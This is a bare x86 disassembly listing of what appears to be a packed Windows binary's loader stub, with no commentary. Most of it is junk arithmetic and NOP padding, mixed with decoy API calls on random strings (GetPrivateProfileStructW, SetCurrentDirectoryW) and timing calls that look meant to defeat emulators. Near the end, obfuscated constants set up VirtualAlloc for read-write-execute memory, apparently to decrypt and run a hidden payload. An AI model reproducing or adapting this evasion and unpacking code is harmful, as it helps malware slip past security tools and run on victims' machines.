and ebx, 0xffffff92
xor dword [0x40708a], esi
add ecx, ebx
push 0x407259
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov edx, dword [0x40700f]
mov ecx, dword [0x4071b4]
add dl, bh
mov byte [0x40710b], 0xa6
mov eax, dword [0x4071d0]
mov byte [0x4070a0], 0x7d
mov byte [0x407186], 0xe2
mov byte [0x407075], 0x84
and bh, 0x7e
sub edi, esi
xor edi, esi
mov dword [0x4071ba], eax
add edi, eax
sbb esi, eax
sub ebx, 0x72
sub dword [0x4070e3], edi
mov edi, dword [0x407142]
cmp byte [0x407208], 1
jb 0x40269d
nop
nop
nop
nop
nop
nop
nop
nop
and dword [0x4070f6], ebx
add ecx, 0xffffffcb
mov byte [0x407085], 0xfa
adc dword [0x40717e], edi
mov bh, byte [0x407017]
mov byte [0x40705e], 0x1d
mov byte [0x4071e5], 0xc1
or dword [0x4071c4], esi
mov byte [0x40718e], 0x43
adc dword [0x407162], esi
xor ecx, 0xffffffb3
sbb ecx, 0x29
mov byte [0x4071f5], 0xdb
xor edi, ebx
add ebx, ecx
add edi, edi
push str.NdywzcEOrsrubm
push 0xf
push 0x407232
push str.mKAycBwKnPR
push str.mKAycBwKnPR
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
test eax, eax
jne 0x402556
xor dword [0x40717c], eax
adc esi, esi
and dword [0x407008], esi
mov bl, byte [0x4071e2]
add edx, 0xffffffe0
xor byte [0x4070a9], ah
adc dword [0x407151], ebx
add dword [0x40713c], edi
mov byte [0x4070f9], 0x13
adc ebx, ebx
add eax, 0x27
mov byte [0x407114], 0xf8
or esi, 0xffffff80
or esi, 0x2a
xor dword [0x407180], edi
mov byte [0x4070b0], 0xd3
mov byte [0x407141], 0x7c
add edi, 0xffffffd3
push 0x407259
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
adc eax, ebx
mov edx, dword [0x4070f8]
mov edx, dword [0x407025]
mov edi, dword [0x4070a5]
add edx, 0xfffffff6
mov dword [0x4070da], edi
and dword [0x4070f2], ebx
and dword [0x4071c0], edi
mov byte [0x40701a], 0xd8
add ecx, edx
add dword [0x4070fd], edx
mov edx, dword [0x4070ff]
mov ch, byte [0x407154]
xor eax, ebx
xor dword [0x40710e], edi
mov ebx, dword [0x4070c3]
sbb eax, 0xffffffe9
xor edi, 0xffffffa1
cmp byte [0x407208], 1
jb 0x4020a3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, dword [0x407043]
mov byte [0x407041], 0xbc
mov al, byte [0x407053]
mov eax, dword [0x4071ee]
mov byte [0x4071ef], 0x1a
sub dword [0x40719f], edi
add eax, ebx
add edx, 0xfffffff6
mov byte [0x4070c3], 0x37
add edi, edx
mov byte [0x40711b], 0x18
mov edi, dword [0x407159]
adc dword [0x407087], eax
add edx, 0x4f
or byte [0x407163], al
add eax, 1
push str.zomqEIUf
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
cmp eax, 0
jne 0x40269d
add edi, 0x40
xor esi, 0x16
mov byte [0x407123], 0x8a
mov byte [0x40701d], 0x47
add eax, 0x60
sub eax, ebx
sub dword [0x40704a], esi
mov esi, dword [0x407062]
mov byte [0x407038], 0x78
adc dword [0x407141], edi
add edx, edi
xor eax, 0xffffffed
add ch, 0xad
mov cl, byte [0x40713f]
mov eax, dword [0x40701a]
mov esi, dword [0x40718f]
mov byte [0x4071ef], 0x1f
sbb edi, 0x69
push 0x407259
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov eax, dword [0x4071e1]
mov edx, dword [0x407059]
sub esi, eax
sub bl, 0x18
adc eax, 5
sub esi, 0xffffffe8
sub ebx, edi
xor dword [0x40700c], esi
add ecx, 0x28
adc ebx, edi
sub dword [0x407138], esi
mov byte [0x407199], 0x9a
mov edx, dword [0x4071a3]
add edi, ecx
mov edx, dword [0x4071a1]
adc ebx, ebx
add ecx, 0xfffffffb
xor dword [0x4071f6], eax
mov bl, byte [0x4070d6]
cmp byte [0x407208], 1
jb 0x401212
nop
nop
sub esi, edi
add edx, edi
mov ebx, dword [0x407116]
xor esi, 0x43
mov bl, byte [0x4071d3]
mov bl, byte [0x407119]
add esi, 0x7b
mov edi, dword [0x4070e3]
sbb dword [0x407162], ebx
mov ecx, dword [0x4071f0]
add ecx, edi
mov esi, dword [0x40707b]
adc edi, 0x7b
xor edi, 0xffffffc6
adc esi, eax
push str.zomqEIUf
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
cmp eax, 0
jne 0x4027bc
mov byte [0x40707e], 0xf3
mov byte [0x4071a3], 0xc0
sbb edi, ebx
mov byte [0x4071a5], 0x51
mov ecx, dword [0x407186]
mov byte [0x40702b], 0x8f
add ecx, 0xffffff84
add dword [0x40700b], esi
adc esi, eax
sub esi, esi
mov ch, byte [0x407095]
and ecx, 0xffffff92
sub eax, 0xffffffa9
add edi, 0x28
add dl, al
sub ebx, 0x11
cmp byte [0x407208], 1
jb 0x401432
nop
nop
nop
nop
nop
adc dword [0x40700e], edi
add edx, 0x4b
xor ebx, 0xffffffb8
mov byte [0x4071bc], 0x2f
xor dword [0x4070af], edx
xor dword [0x407102], edi
sub ebx, eax
add ecx, edi
or dword [0x407072], esi
mov cl, byte [0x407002]
mov edx, dword [0x4070cf]
add eax, ecx
adc eax, ecx
add dword [0x40701e], ebx
and dword [0x407163], eax
add dl, 0x3c
add al, ah
push str.NdywzcEOrsrubm
push 0xf
push 0x407232
push str.mKAycBwKnPR
push str.mKAycBwKnPR
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
cmp eax, 0
jne 0x402861
xor eax, edi
sub esi, 0x1a
add dh, bh
xor esi, edx
mov ebx, dword [0x4071b0]
sub esi, esi
add ch, 0x88
mov byte [0x4070c1], 0x1e
mov esi, dword [0x4071e1]
xor dword [0x4070d3], ebx
adc ebx, ecx
mov ebx, dword [0x40705f]
mov byte [0x40712f], 0xc
mov ah, byte [0x407005]
sub edx, edi
and esi, 0x65
mov ebx, dword [0x4070cc]
mov byte [0x407159], 0xe7
push str.NdywzcEOrsrubm
push 0xf
push 0x407232
push str.mKAycBwKnPR
push str.mKAycBwKnPR
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
test eax, eax
jne 0x402861
mov byte [0x407086], 0xbb
sbb dword [0x407069], esi
mov byte [0x4070a6], 0xc3
sbb dword [0x4071a7], edi
mov byte [0x407128], 0xb
add dword [0x407173], edi
mov esi, dword [0x407178]
sub edi, eax
mov byte [0x4071d9], 0xd7
add edx, esi
mov dword [0x407103], esi
xor eax, edx
xor edx, esi
mov byte [0x40709a], 0xf
sub eax, ebx
mov dword [0x407188], edi
xor esi, 0x1d
add eax, 0x65
mov byte [0x4071d2], 0x51
cmp byte [0x407208], 1
jb 0x403770
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, dword [0x407076]
sbb dword [0x407187], edi
mov byte [0x4070f7], 0xaf
mov byte [0x40709e], 0x2b
adc dword [0x407165], ebx
mov dword [0x407169], eax
or eax, 0xffffffc1
sub eax, eax
add ecx, 0xffffffc2
add edx, 0x7c
sbb esi, 0x2a
xor ecx, eax
mov byte [0x40709a], 0x34
add ebx, edi
add ecx, ebx
mov esi, dword [0x4071ee]
mov byte [0x4070c1], 0x67
mov byte [0x407062], 0x70
mov dword [0x40719b], edx
mov byte [0x407033], al
push str.NdywzcEOrsrubm
push 0xf
push 0x407232
push str.mKAycBwKnPR
push str.mKAycBwKnPR
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
test eax, eax
jne 0x402299
mov ecx, dword [0x407094]
add edx, 0x35
add ecx, 0x30
mov dword [0x407055], ecx
mov byte [0x407100], 0x49
or ch, 0xbb
adc dword [0x4071d3], eax
mov ecx, dword [0x407121]
mov byte [0x407132], 0x8f
add eax, 0xffffffed
mov byte [0x4071e7], 0xf0
mov byte [0x407086], 0x84
sub bl, 0x2e
mov byte [0x407063], 0x27
or edi, 0xffffffd9
mov byte [0x407067], 0xd4
or dword [0x407114], edi
and byte [0x4070f1], al
add ecx, esi
push str.NdywzcEOrsrubm
push 0xf
push 0x407232
push str.mKAycBwKnPR
push str.mKAycBwKnPR
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
test eax, eax
jne 0x402299
mov byte [0x407161], 0xa9
sbb ebx, ebx
mov byte [0x407115], 0x84
mov al, byte [0x407141]
or ebx, 0xffffffd2
mov ebx, dword [0x4071f7]
or dword [0x407063], ebx
adc eax, eax
sbb byte [0x4070da], bh
adc ebx, edi
and dword [0x4071cc], edi
adc dword [0x40710a], ebx
and dword [0x407055], eax
sbb dword [0x40719a], ebx
add ecx, 0x2e
sub edi, ecx
mov byte [0x40710f], 0xaa
mov byte [0x407035], 0xed
and eax, 0x32
cmp byte [0x407208], 1
jb 0x404360
nop
nop
nop
mov byte [0x4070c3], 0xf
mov byte [0x40714b], 0xdb
mov byte [0x4071dc], 0x26
sbb ebx, ecx
and dword [0x407011], ebx
xor edi, 0x23
add edx, 0x13
sub eax, 0x30
xor eax, 0xffffffb3
mov edi, dword [0x407107]
xor eax, eax
sbb esi, eax
and eax, 0xf
add eax, edx
adc edx, esi
push 1
add cl, bl
mov byte [0x4071aa], 0x56
sbb dword [0x4070be], edx
and dword [0x407149], ebx
sbb dword [0x4071c8], edi
mov byte [0x407193], 0x42
mov dword [0x40705f], ebx
adc edi, esi
mov byte [0x4070e8], 0x20
mov byte [0x4071e7], 0xf0
mov byte [0x4071d9], 0x52
adc ebx, 0xffffff84
mov eax, dword [0x4070c2]
sbb esi, edx
or dword [0x40716a], eax
mov cl, byte [0x4071e6]
xor cl, 0x59
mov esi, dword [0x4071d5]
mov ecx, dword [0x407126]
mov dword [0x407131], ecx
push 0x3e8
push 0xffffffffffffffff
lea edi, sym.imp.KERNEL32.dll_WaitForSingleObject
call dword [edi]
mov edi, dword [0x40715b]
sbb dword [0x407136], edx
sbb esi, 0xffffff9c
mov eax, dword [0x4071e9]
mov edi, dword [0x4071e0]
add ebx, eax
adc dword [0x407086], ecx
mov ecx, dword [0x4070b3]
mov byte [0x40702a], 0x59
xor dword [0x407091], eax
and edi, 0x26
mov ecx, dword [0x4071aa]
sub esi, 0xffffffaf
mov byte [0x407032], 0x4a
add edi, eax
mov dword [0x40717e], ecx
mov dword [0x40701c], edi
dec dword [esp]
jne 0x402bd1
sbb edi, eax
mov byte [0x4070ea], 0x46
or ebx, 0x47
add ebx, 0xffffffd5
mov byte [0x407088], 0x86
add edi, edi
sbb dword [0x4070c0], eax
mov esi, dword [0x407013]
or ecx, 0x6d
add eax, 0x53
xor ebx, edi
sub byte [0x4071ab], bl
mov eax, dword [0x40712e]
adc dword [0x40704e], edx
add ecx, 0xffffffb0
add edx, esi
mov byte [0x40704b], 0xcf
mov byte [0x407065], 0xa1
sbb edi, 0xffffffa4
add esp, 4
mov byte [0x4071b2], 0xe7
mov byte [0x40718b], 7
mov dword [0x40706a], ebx
mov byte [0x407095], 0xc
mov byte [0x4070f2], 0x2c
mov bl, byte [0x40700a]
sbb eax, edi
mov byte [0x40710b], 0
and dword [0x4071b9], esi
mov byte [0x40701b], 0x42
and edi, 0x74
sub edx, ecx
add edx, 0x10
sbb ebx, ebx
and dword [0x407033], edi
lea ecx, str.gdi32.dll
add esi, ebx
mov byte [0x4071f3], 0xc0
mov byte [0x407184], 0xb
mov eax, dword [0x407061]
add edi, 0xffffffbf
mov dword [0x407182], edi
add dword [0x40713f], ebx
add al, 0x63
xor dword [0x40710f], edx
sub edi, edx
add eax, edi
add dword [0x40703c], esi
mov byte [0x407072], 0xbf
adc edi, 0xffffffaa
or dword [0x407036], edi
add edi, 0x53
mov ebx, dword [0x407154]
mov edx, dword [0x407103]
mov byte [0x407172], 0xe8
and edi, 0x19
push ecx
mov eax, dword [0x4071c4]
mov byte [0x407158], 0xc5
sbb cl, 8
mov eax, dword [0x4071af]
add eax, esi
and ebx, 0x4f
mov dword [0x40700c], ecx
xor edx, 3
mov edx, dword [0x4071fb]
adc dword [0x4070d0], eax
sbb byte [0x4070a7], dh
mov byte [0x4070d7], 0xbd
and dword [0x40702e], eax
mov dword [0x40719e], esi
mov byte [0x407112], 0xa1
or dword [0x4070f0], ebx
mov ah, byte [0x407171]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call esi
push eax
pop ecx
add ebx, 0x40
add dword [0x40715e], edi
mov byte [0x40715e], 0x3e
mov byte [0x40716c], 0x44
or dword [0x407017], eax
xor dword [0x407155], ebx
sub ah, 0x3a
and eax, 0xffffff9d
and bl, 0xb0
mov eax, dword [0x4070cc]
add dword [0x407109], edx
mov edi, dword [0x4071e6]
add edi, eax
mov edi, dword [0x40711b]
or dword [0x40701f], edx
mov byte [0x4071b0], 0xd9
xor ebx, ebx
sbb eax, 0xffffff81
mov dword [0x407208], ecx
add edi, edi
mov esi, dword [0x4070ae]
sub esi, edi
mov edx, dword [0x4071a9]
mov byte [0x40716d], 0xb7
or dword [0x407010], eax
xor dword [0x407107], esi
sub edi, ebx
sub ebx, 0xffffff9a
mov byte [0x4070e4], 0xff
xor ebx, ebx
add eax, esi
sbb eax, edi
mov ebx, dword [0x40718b]
mov byte [0x4071bb], 0x43
sub esi, 0x44
and dword [0x407128], esi
mov byte [0x4071a6], 0x60
mov esi, dword [0x407068]
sbb esi, ebx
add ecx, 0x3c
sub dword [0x40717b], edi
mov dh, byte [0x407111]
mov dl, byte [0x407109]
add edi, 0xfffffff1
add ebx, edx
add edx, 0x6c
mov byte [0x40716b], 0x4d
add byte [0x4070c0], bl
add dword [0x4071dc], ebx
mov esi, dword [0x407011]
add esi, 0xffffff93
mov byte [0x40715a], 0x40
xor dword [0x4070d9], esi
mov byte [0x40702a], 0xa3
and edx, 0x68
add edx, 0xffffffaf
mov byte [0x4070d0], 0xbc
mov ecx, dword [ecx]
mov byte [0x4071eb], 0xad
xor esi, 0xffffffb1
adc dword [0x407108], eax
mov byte [0x407179], 0x3b
mov byte [0x407126], 0xef
mov byte [0x407058], 0xad
xor esi, eax
mov ah, byte [0x4070c0]
mov dword [0x407115], esi
mov byte [0x4070d0], 0xea
adc ebx, 0x50
mov esi, dword [0x407196]
and edx, 0xffffffcc
mov edi, dword [0x4071de]
mov esi, dword [0x407176]
and dword [0x407128], esi
adc esi, edx
sub byte [0x40707d], bh
mov byte [0x4071f8], 0x7c
xor edx, 0xffffff91
add ecx, dword [0x407208]
mov edx, dword [0x407026]
sub byte [0x4071cc], bl
mov byte [0x407051], 0x6c
mov byte [0x407144], 0xe9
or dword [0x40703d], ebx
mov byte [0x407152], 0xf1
add eax, 0xffffff91
sbb byte [0x4070fe], bh
mov ebx, dword [0x4070b4]
and dword [0x407098], esi
mov byte [0x40716d], 0x5a
sub eax, eax
add eax, eax
mov byte [0x407144], 0xf6
add edx, ebx
sub edx, eax
mov byte [0x4070a0], 0x51
add ecx, 0xa4
mov edx, dword [0x4071b4]
mov byte [0x4071f2], 0x81
or dword [0x4070a1], edx
mov ah, byte [0x407103]
adc edx, edx
adc esi, eax
mov byte [0x4071f8], 0xe8
and eax, 0x4e
mov ebx, dword [0x407175]
mov esi, dword [0x407172]
add esi, ebx
xor edi, 0xfffffffb
add esi, ebx
and edi, 0x79
mov edi, dword [0x40700f]
mov edx, dword [0x407175]
or dword [0x407151], edi
and dword [0x40710e], edx
cmp bp, 0xfe00
jb 0x401212
cmp dword [ecx], 0x1000
ja 0x4038b7
sub edx, 0x11
mov edi, dword [0x40718a]
add edx, ecx
or dl, 0x49
sbb dword [0x40718e], edx
mov byte [0x407104], 0x52
sub dword [0x40712c], edi
sub esi, ecx
mov eax, dword [0x40703e]
mov edi, dword [0x407012]
sub edi, 0xffffffeb
adc esi, edi
sub byte [0x40715e], ah
mov esi, dword [0x40710c]
mov byte [0x407132], 0xfb
mov byte [0x407159], 0x22
sbb esi, 0x44
lea ebx, [0x15f92c9a]
mov al, byte [0x40704b]
and edi, 0x13
adc edi, eax
sub eax, ecx
add edx, esi
sbb ecx, eax
mov esi, dword [0x407001]
sbb eax, edx
or ecx, 0xffffffe5
mov ecx, dword [0x4070f3]
adc ecx, edi
sub dword [0x407024], edi
mov byte [0x407021], 0x64
mov edi, dword [0x407122]
adc byte [0x4070af], ch
mov dl, byte [0x40704b]
adc dword [0x4070f4], edx
mov byte [0x407041], 0x52
adc eax, 0xffffffd6
mov edx, dword [0x40703d]
sub ebx, 0x15b91a88
add edi, 0xffffffc6
xor eax, 0x70
mov byte [0x40718b], ch
mov edx, dword [0x40715b]
xor eax, edi
add dword [0x407029], esi
add ecx, esi
add dword [0x407098], eax
sbb esi, ecx
add byte [0x40717b], al
mov byte [0x4071b9], 0xb9
add edx, ecx
mov esi, dword [0x40706f]
mov byte [0x407101], 0xee
sub dword [0x4070ba], ecx
mov ecx, dword [0x40702f]
push ebx
mov byte [0x407176], 0xa4
mov byte [0x407005], 0xd0
or esi, 0xffffffcc
mov bh, byte [0x40700e]
sbb edx, esi
mov byte [0x407166], 0x48
sbb ecx, 0xfffffff6
mov esi, dword [0x4071d2]
sub eax, 0x64
adc esi, 0xffffffbf
and edi, 0xffffffb0
mov eax, dword [0x40703c]
mov byte [0x40718e], 0x87
xor edi, 0xffffffe2
add edx, 0xffffffbb
ret
mov edi, edi
push ebp
mov ebp, esp
lea esp, [ebp - 0x68]
mov edx, dword [0x4070d8]
mov byte [0x407017], 0x6e
mov byte [0x4070fc], 0x6e
mov byte [0x407040], 0x52
mov ebx, dword [0x40715f]
mov byte [0x407006], 0xfd
add esi, 0x79
add ecx, 0xffffff9f
mov byte [0x4071df], 6
mov ebx, dword [0x407162]
add dh, ch
xor edx, 0xfffffff2
add eax, ecx
add ah, 0x33
add byte [0x407052], ah
add cl, dl
mov byte [0x40705a], 0x9e
mov esi, dword [0x40703a]
add esi, 0x12
mov al, byte [0x407061]
sub dword [0x407179], esi
and byte [0x407124], al
add edi, esi
mov ecx, dword [0x4070cd]
mov ebx, dword [0x4070a9]
and dword [0x40707e], eax
mov byte [0x4071a5], 0xf8
or dword [0x4070d6], edi
sub esi, eax
mov byte [0x40717a], 2
adc esi, 0xffffffd5
mov esi, dword [0x407176]
sbb dword [0x4070b8], eax
mov byte [0x407151], 0x33
mov edx, dword [0x4070e1]
push 0x407259
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov ecx, dword [0x407117]
mov dword [0x40708d], eax
mov edi, dword [0x4070eb]
mov edx, dword [0x407140]
mov byte [0x4070fd], 0xed
add ebx, 0xffffffd7
and dword [0x4070d4], esi
mov bh, byte [0x40719c]
xor dword [0x40714a], esi
mov byte [0x4070b8], 0x4c
sub ebx, 0xffffffe7
sub ebx, edi
mov esi, dword [0x407052]
mov ebx, dword [0x4070cb]
mov byte [0x4070af], 0xd1
push 0x407259
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
sbb byte [0x4070bc], bh
mov edx, dword [0x4070fb]
mov dword [0x40706c], eax
mov edx, dword [0x4071e4]
and dword [0x407151], esi
or edi, 0x61
adc dword [0x4070ed], eax
adc edi, 0x15
xor esi, ebx
sbb esi, 0xffffffba
and dword [0x407021], edi
or esi, 0x3a
mov ebx, dword [0x4071af]
or dword [0x407163], ebx
sub esi, edi
add cl, 0x75
mov byte [0x407061], 0xf7
cmp byte [0x407208], 1
jb 0x4019a4
nop
mov byte [0x40715c], 0x38
add dword [0x40701d], esi
add ch, al
xor dword [0x407063], ebx
xor esi, edi
mov ecx, dword [0x4070a9]
mov ecx, dword [0x407162]
xor ebx, ecx
mov byte [0x40702e], 0x3a
xor dword [0x407043], edi
sub edi, 6
add edx, 0xffffffce
mov byte [0x4070bd], 0x6d
sub dword [0x407176], edx
and dword [0x407124], esi
xor dword [0x4070a5], eax
mov edi, dword [0x4070b6]
xor edi, edx
or ecx, 0x56
push 0x407259
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov byte [0x40703f], 0x98
sbb esi, eax
add ebx, eax
add ecx, edi
mov ebx, dword [0x407121]
mov ecx, dword [0x407029]
mov edx, dword [0x4070fa]
mov byte [0x4071c3], 0xca
xor esi, 0xffffffb8
sub dword [0x40701d], esi
sub dword [0x4071cd], ecx
add ecx, edi
mov byte [0x4071d8], 0x4f
mov esi, dword [0x40712f]
add cl, 0x8e
sbb edi, ebx
sub edi, eax
sbb byte [0x4070e4], ah
add edx, esi
mov byte [0x407112], 0x18
push str.zomqEIUf
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
cmp eax, 0
jne 0x4032c5
and bh, 0xf
mov ah, byte [0x4071f2]
add dh, bl
xor dh, dl
mov byte [0x407182], 0x66
mov byte [0x407133], 0xa9
xor dword [0x407061], eax
sub esi, edi
add bl, bl
xor dword [0x4070bb], edx
mov byte [0x407055], 0xff
sub dword [0x4071a0], esi
sub esi, eax
xor edi, esi
or dword [0x407001], eax
cmp byte [0x407208], 1
jb 0x401602
nop
nop
nop
nop
nop
or esi, 0xffffff9b
add ecx, 0xfffffff6
xor edi, eax
sub dword [0x407066], eax
mov ebx, dword [0x4071f3]
add edx, ebx
and byte [0x40711d], dh
mov edi, dword [0x407019]
add dword [0x4070bf], edx
or dword [0x407044], esi
mov byte [0x407095], 0xb0
mov byte [0x40710a], 0x70
mov byte [0x40711f], 0xf5
mov byte [0x4071d3], 0xb0
mov edi, dword [0x407141]
sbb esi, 0x7d
mov byte [0x407133], 0xb
xor dword [0x4071e8], edi
push 0x407259
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
sbb esi, ebx
adc ebx, eax
mov edi, dword [0x4071a5]
mov bh, byte [0x4071a1]
adc edi, eax
mov byte [0x407144], 0xbf
mov byte [0x40704a], 0x58
mov esi, dword [0x407076]
sub edi, 0xffffff92
mov ah, byte [0x407025]
or dword [0x407103], eax
mov ecx, dword [0x40701f]
mov byte [0x4070a3], 0x59
mov edx, dword [0x407065]
sub esi, eax
mov bh, byte [0x4071af]
mov esi, dword [0x4070d7]
mov ecx, dword [0x4071bf]
push str.NdywzcEOrsrubm
push 0xf
push 0x407232
push str.mKAycBwKnPR
push str.mKAycBwKnPR
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
cmp eax, 0
jne 0x4033ee
add cl, 6
xor eax, ebx
add edx, 0x45
sbb dword [0x40712d], edi
mov byte [0x40711c], 0x20
xor byte [0x407006], dl
add esi, 0xfffffff8
sbb esi, 0xffffff9d
adc edi, ecx
mov edx, dword [0x407004]
or ecx, 0xffffffb5
mov ebx, dword [0x4071f8]
xor ecx, 0xffffffdf
mov ebx, dword [0x4071c8]
add edx, 0xffffffa7
cmp byte [0x407208], 1
jb 0x40217c
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [0x4071c5], eax
adc dword [0x4071a1], esi
add ebx, edi
sub eax, eax
add ch, 0x36
mov edi, dword [0x4071c4]
adc dword [0x40719b], eax
xor ah, 0x49
add edi, 0x32
xor dword [0x4071b5], ebx
or dword [0x4071ae], ebx
sub bl, 0x26
add esi, 0xffffff87
mov byte [0x40715c], 0x95
mov eax, dword [0x40707c]
adc dword [0x4070bd], ebx
push 0x407259
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov byte [0x407182], 0x66
add ecx, esi
sub eax, 0xffffff9e
sbb eax, ebx
and eax, 0xffffffd5
and edi, 0x4a
mov ecx, dword [0x4070c0]
xor ebx, edi
mov cl, byte [0x40712e]
add edx, eax
xor byte [0x4071b8], bl
add dword [0x407099], ebx
add edi, 0xffffff9a
sub edx, 0x42
xor eax, edx
mov byte [0x40719c], 0xa
mov ebx, dword [0x4070c1]
mov byte [0x4070d2], 0x9a
add ebx, esi
cmp byte [0x407208], 1
jb 0x401212
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
sbb ah, ah
add edx, ebx
mov bh, byte [0x407108]
mov edx, dword [0x407079]
mov edx, dword [0x40707c]
mov byte [0x4071c7], 0x76
or dword [0x407100], ebx
mov ecx, dword [0x407098]
add edi, esi
add edx, edx
mov byte [0x4070e2], dh
xor eax, 0xffffffe5
adc edi, eax
mov dl, byte [0x4070f1]
add ecx, 0x38
adc eax, ebx
sbb dword [0x407048], ecx
push str.zomqEIUf
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
jne 0x4035ea
add dh, ah
add dword [0x40718e], ebx
mov byte [0x407086], 0xf5
mov byte [0x40705a], 0x1a
sub byte [0x407006], al
add ecx, 0x48
mov dword [0x407062], edi
add ecx, eax
sbb edx, 0x78
mov byte [0x4071d2], 0xef
adc edx, ecx
xor edx, 3
mov ecx, dword [0x407097]
mov dword [0x4071c3], edi
mov edi, dword [0x407116]
or eax, 0x2c
and ecx, 0xffffffc2
mov byte [0x40719d], 0x1e
adc dword [0x4071b0], edx
cmp byte [0x407208], 1
jb 0x4014f7
nop
nop
nop
nop
nop
add ecx, ebx
add ebx, ecx
mov ebx, dword [0x4070e8]
mov ebx, dword [0x40713c]
mov byte [0x407198], 0xb2
sbb bh, al
adc ecx, 0x4a
mov byte [0x40703a], 0xfc
add eax, 0x5b
mov edi, dword [0x4070fc]
or ebx, 0xfffffff6
add dh, 0xc1
sub dword [0x4071d5], edi
mov dl, byte [0x407043]
xor dword [0x4070e7], ebx
add eax, 0xffffff8a
mov bh, byte [0x407035]
mov ebx, dword [0x407023]
mov ecx, dword [0x40705e]
push 0x407259
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov byte [0x40708a], 0x85
sbb bh, 0x98
mov byte [0x407060], 0x3a
add edi, eax
mov esi, dword [0x407034]
mov byte [0x407134], 0xd1
mov byte [0x40706e], 0x74
add ch, 0xdc
adc edi, ebx
mov ah, byte [0x4071f5]
mov byte [0x407174], 0x54
mov byte [0x407170], 0x30
xor esi, edi
adc ecx, ecx
sub ebx, 0xffffffa8
cmp byte [0x407208], 1
jb 0x401355
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor eax, 0xffffff92
and ebx, 0xfffffff1
adc dword [0x407160], eax
sub dword [0x4071c3], ebx
or dword [0x407084], edi
or edi, 0x39
add ecx, 0x19
add ecx, ebx
adc dword [0x4071ac], ebx
sub dword [0x40714d], edi
mov esi, dword [0x4070d7]
mov dword [0x407172], edi
sub ecx, 1
adc ebx, 0xffffffef
xor dword [0x407053], ecx
mov byte [0x4070e4], 0xd0
adc dword [0x407103], esi
mov byte [0x407047], 0xc4
sub eax, ecx
push 0x407259
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
add ecx, esi
xor eax, eax
xor byte [0x4071a0], ah
add ebx, ebx
xor dword [0x407109], ecx
add edx, 0x56
xor esi, 0x2f
or edi, 0x33
sub ebx, ecx
or ebx, 0xffffffda
mov bh, byte [0x407181]
xor eax, eax
add byte [0x407037], dl
mov byte [0x407182], dl
or dword [0x407057], esi
or ecx, 0x1a
push str.NdywzcEOrsrubm
push 0xf
push 0x407232
push str.mKAycBwKnPR
push str.mKAycBwKnPR
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
cmp eax, 0
jne 0x403770
mov eax, dword [0x4070fe]
xor dword [0x40709d], ebx
mov byte [0x40715b], 0x9b
mov byte [0x407087], 0x7f
mov esi, dword [0x407148]
mov ah, byte [0x4071e8]
mov edx, dword [0x407162]
mov ebx, dword [0x4071e2]
sub dword [0x407113], edi
mov byte [0x407074], 0x65
adc ebx, eax
adc dword [0x407149], edi
mov al, byte [0x407167]
xor ebx, eax
add edx, edi
mov edi, dword [0x40706e]
add al, 0xf3
mov byte [0x4070e7], 0xfd
mov dl, byte [0x4071e1]
add ecx, 0x1a
cmp byte [0x407208], 1
jb 0x402437
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor edi, edi
or edi, 0x4055a6
mov ecx, 0x15451777
sub ecx, 0x15451737
push ecx
mov edx, 0x15452737
sub edx, 0x15451737
push edx
mov ecx, 0x15451dab
sub ecx, 0x15451737
push ecx
mov eax, 0
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
je 0x401212
push 0x659369ac
pop esi
push 0xffffffffffffffff
pop edx
and edx, 0x674
lea ebx, [eax]
push ebx
test edx, edx
je 0x403d9a
mov byte [0x4071f5], 0xea
mov byte [0x40709d], 0xf3
and ecx, 0x3a
or ch, 1
xor dword [0x4070d4], ecx
mov byte [0x407101], 0x52
add dword [0x407172], ecx
add ecx, ecx
sbb dword [0x4070cd], ecx
xor dword [0x4070c9], ecx
mov byte [0x407163], 0xa7
mov byte [0x4070e1], 0x7c
sub byte [0x4070dc], cl
sbb ecx, 0xffffffc0
mov ecx, dword [0x40712a]
adc dword [0x4070d1], ecx
mov ecx, dword [0x407058]
xor eax, eax
add eax, dword [edi]
mov ecx, dword [0x40702e]
mov cl, byte [0x407021]
add ecx, ecx
mov ecx, dword [0x4070af]
and dword [0x40709e], ecx
add dword [0x4070d4], ecx
and dword [0x4071a2], ecx
mov byte [0x407142], 0x2a
mov byte [0x4070a5], 0x82
mov ecx, dword [0x407055]
or dword [0x4070e7], ecx
mov byte [0x4070de], 0xd
xor ecx, ecx
mov ecx, dword [0x4070aa]
mov ecx, dword [0x407102]
mov ecx, dword [0x40707c]
mov byte [0x40716a], 0x5e
mov ecx, dword [0x4070ef]
add edi, 4
mov byte [0x407175], 0x52
mov byte [0x40704f], 0xe6
add cl, ch
mov byte [0x40707f], 0x92
mov byte [0x4071b0], 0x6a
mov ecx, dword [0x407174]
add ecx, ecx
mov byte [0x40713b], 0xb5
mov dword [0x40716f], ecx
